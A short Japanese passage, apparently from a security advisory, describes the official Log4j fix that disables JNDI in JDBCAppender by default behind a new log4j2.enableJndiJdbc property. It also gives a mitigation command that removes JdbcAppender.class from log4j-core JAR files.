公式の修正プログラムでは、JDBCAppender の JNDI サポートを(デフォルトで)無効にし、log4j2.enableJndiJdbc
というシステム プロパティを追加することで、再度有効にすることができます。
さらに、JDBC は共通の JNDIManager
クラスを再利用するようになりました。つまり、「enableJndiJdbc」が設定されている場合でも、JNDI に関する以前のすべての制限が適用されることになります(例:連結文字列で許可されるのはローカルの Java
プロトコルのみ)。
緩和策
よく知られている Log4Shell の緩和策と同様に、Log4J の JAR ファイルから「JdbcAppender.class」ファイルを削除することが緩和策になります。
find ./ -type f -name "log4j-core-*.jar" -exec zip -q -d "{}" org/apache/logging/log4j/core/appender/db/jdbc/JdbcAppender.class \;